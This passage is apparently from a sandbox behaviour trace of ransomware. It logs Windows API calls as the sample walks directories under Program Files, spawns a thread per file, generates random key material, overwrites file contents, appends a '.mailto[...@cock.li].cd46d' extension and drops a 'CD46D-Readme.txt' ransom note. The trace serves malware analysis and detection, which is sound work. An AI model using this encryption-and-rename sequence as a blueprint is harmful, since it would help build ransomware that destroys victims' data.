dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0046.800] wcscmp (_String1=".", _String2=".") returned 0 [0046.800] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.801] wcscmp (_String1="..", _String2=".") returned 1 [0046.801] wcscmp (_String1="..", _String2="..") returned 0 [0046.801] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="ASSEMB~1.XML")) returned 1 [0046.801] wcscmp (_String1="AssemblyList_4_client.xml", _String2=".") returned 1 [0046.801] wcscmp (_String1="AssemblyList_4_client.xml", _String2="..") returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x41beb8 [0046.801] wcscpy (in: _Dest=0x41beb8, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0046.801] wcscat (in: _Dest=0x41beb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0046.801] wcscat (in: _Dest=0x41beb8, _Source="AssemblyList_4_client.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0048.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x41beb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0048.714] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 1 [0048.714] wcscmp (_String1="AssemblyList_4_extended.xml", _String2=".") returned 1 [0048.714] wcscmp (_String1="AssemblyList_4_extended.xml", _String2="..") returned 1 [0048.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x44d5d0 [0048.714] wcscpy (in: _Dest=0x44d5d0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0048.715] wcscat (in: _Dest=0x44d5d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0048.715] wcscat (in: _Dest=0x44d5d0, _Source="AssemblyList_4_extended.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0048.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44d5d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0048.716] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 0 [0048.716] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0048.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426058) returned 1 [0048.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d28) returned 1 [0048.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449f30) returned 1 Thread: id = 141 os_tid = 0x570 [0046.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a4f0 [0046.056] wcscpy (in: _Dest=0x44a4f0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0046.056] wcscat (in: _Dest=0x44a4f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0046.056] wcscat (in: _Dest=0x44a4f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0046.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4262c0 [0046.056] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.057] wcscmp (_String1=".", _String2=".") returned 0 [0046.057] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.057] wcscmp (_String1="..", _String2=".") returned 1 [0046.057] wcscmp (_String1="..", _String2="..") returned 0 [0046.057] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0046.057] wcscmp (_String1="Windows Workflow Foundation", _String2=".") returned 1 [0046.057] wcscmp (_String1="Windows Workflow Foundation", _String2="..") returned 1 [0046.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x446480 [0046.057] wcscpy (in: _Dest=0x446480, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0046.057] wcscat (in: _Dest=0x446480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0046.057] wcscat (in: _Dest=0x446480, _Source="Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0046.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0 [0046.058] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0046.058] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.058] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4262c0) returned 1 [0046.058] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a4f0) returned 1 [0046.058] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449fb0) returned 1 Thread: id = 142 os_tid = 0x824 [0046.064] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft.office.infopath.targets")) returned 0x20 [0046.802] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets", dwFileAttributes=0x20) returned 1 [0046.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft.office.infopath.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x564 [0046.803] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x498fb24 | out: lpFileSize=0x498fb24*=764) returned 1 [0046.803] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.803] ReadFile (in: hFile=0x564, lpBuffer=0x498faa8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x498faa4, lpOverlapped=0x0 | out: lpBuffer=0x498faa8*, lpNumberOfBytesRead=0x498faa4*=0x4, lpOverlapped=0x0) returned 1 [0046.807] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0046.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441140 [0046.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441168 [0046.807] NtQuerySystemTime (in: CurrentTime=0x498fa84 | out: CurrentTime=0x498fa84*=132174898107924000) returned 0x0 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x2fd9bbef [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x2f4b4392 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x155f1ac9 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x23abbe20 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x6d3a3468 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x5f7c68b2 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x173d9850 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x3ed796 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x6809e1da [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x60414a78 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x7b71c2e6 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x221e3183 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x5a16c58e [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x3b68c346 [0046.807] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x2ea467a [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x5f99c21 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x5db36bd5 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x4a7e0b49 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x169689ab [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0xe3c8e7e [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x59748635 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x4c98768 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x3097292a [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x38dbc848 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x545b9dd8 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x3e0a8bd2 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x1e9b336c [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x2cf7a16e [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0xb984358 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x67be52cf [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x485dff38 [0046.808] RtlRandomEx (in: Seed=0x498fa90 | out: Seed=0x498fa90) returned 0x6b294dfc [0046.824] ReadFile (in: hFile=0x564, lpBuffer=0x484fc8, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x498fa80, lpOverlapped=0x0 | out: lpBuffer=0x484fc8*, lpNumberOfBytesRead=0x498fa80*=0x2fc, lpOverlapped=0x0) returned 1 [0046.825] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.825] WriteFile (in: hFile=0x564, lpBuffer=0x4917d0*, nNumberOfBytesToWrite=0x2fc, lpNumberOfBytesWritten=0x498fa7c, lpOverlapped=0x0 | out: lpBuffer=0x4917d0*, lpNumberOfBytesWritten=0x498fa7c*=0x2fc, lpOverlapped=0x0) returned 1 [0046.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0046.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441168 [0046.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441168) returned 1 [0046.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4917d0) returned 1 [0046.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x484fc8) returned 1 [0046.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0046.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0046.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4f) returned 0x414308 [0046.828] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.828] WriteFile (in: hFile=0x564, lpBuffer=0x4246a8*, nNumberOfBytesToWrite=0x133, lpNumberOfBytesWritten=0x498fae4, lpOverlapped=0x0 | out: lpBuffer=0x4246a8*, lpNumberOfBytesWritten=0x498fae4*=0x133, lpOverlapped=0x0) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4246a8) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414258) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441168) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414308) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441118) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441140) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0046.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4411b8) returned 1 [0046.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40cbf0 [0046.829] wcscpy (in: _Dest=0x40cbf0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" [0046.829] wcscat (in: _Dest=0x40cbf0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d" [0046.829] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x498fa9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0046.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x4246a8 [0046.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4246a8) returned 1 [0046.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x451198) returned 1 [0046.835] NtQueryInformationFile (in: FileHandle=0x564, IoStatusBlock=0x498faa8, FileInformation=0x498fa80, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x498faa8, FileInformation=0x498fa80) returned 0x0 [0046.835] NtSetInformationFile (FileHandle=0x564, IoStatusBlock=0x498faa8, FileInformation=0x498fa80, Length=0x28, FileInformationClass=0x4) returned 0x0 [0046.836] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cbf0) returned 1 [0046.836] FlushFileBuffers (hFile=0x564) returned 1 [0046.837] CloseHandle (hObject=0x564) returned 1 [0046.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421498 [0046.838] wcscpy (in: _Dest=0x421498, _Source="C:\\Program Files (x86)\\MSBuild\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0046.838] wcscat (in: _Dest=0x421498, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\MSBuild\\CD46D-Readme.txt" [0046.838] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\cd46d-readme.txt")) returned 0xffffffff [0046.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0046.840] WriteFile (in: hFile=0x564, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x498faa4, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x498faa4*=0x6fd, lpOverlapped=0x0) returned 1 [0046.841] CloseHandle (hObject=0x564) returned 1 [0046.842] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421498) returned 1 [0046.842] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416540) returned 1 Thread: id = 143 os_tid = 0x814 [0046.065] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418c80 [0046.065] wcscpy (in: _Dest=0x418c80, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0046.065] wcscat (in: _Dest=0x418c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0046.065] wcscat (in: _Dest=0x418c80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0046.065] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4262c0 [0046.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.065] wcscmp (_String1=".", _String2=".") returned 0 [0046.065] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.066] wcscmp (_String1="..", _String2=".") returned 1 [0046.066] wcscmp (_String1="..", _String2="..") returned 0 [0046.066] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0046.066] wcscmp (_String1="Framework", _String2=".") returned 1 [0046.066] wcscmp (_String1="Framework", _String2="..") returned 1 [0046.066] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x446770 [0046.066] wcscpy (in: _Dest=0x446770, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0046.066] wcscat (in: _Dest=0x446770, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0046.066] wcscat (in: _Dest=0x446770, _Source="Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0046.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec [0046.067] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0046.067] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.067] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4262c0) returned 1 [0046.067] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418c80) returned 1 [0046.067] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4189b0) returned 1 Thread: id = 144 os_tid = 0x810 [0046.068] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x449fb0 [0046.068] wcscpy (in: _Dest=0x449fb0, _Source="C:\\Program Files (x86)\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0046.068] wcscat (in: _Dest=0x449fb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\" [0046.068] wcscat (in: _Dest=0x449fb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0046.068] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4262c0 [0046.068] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, 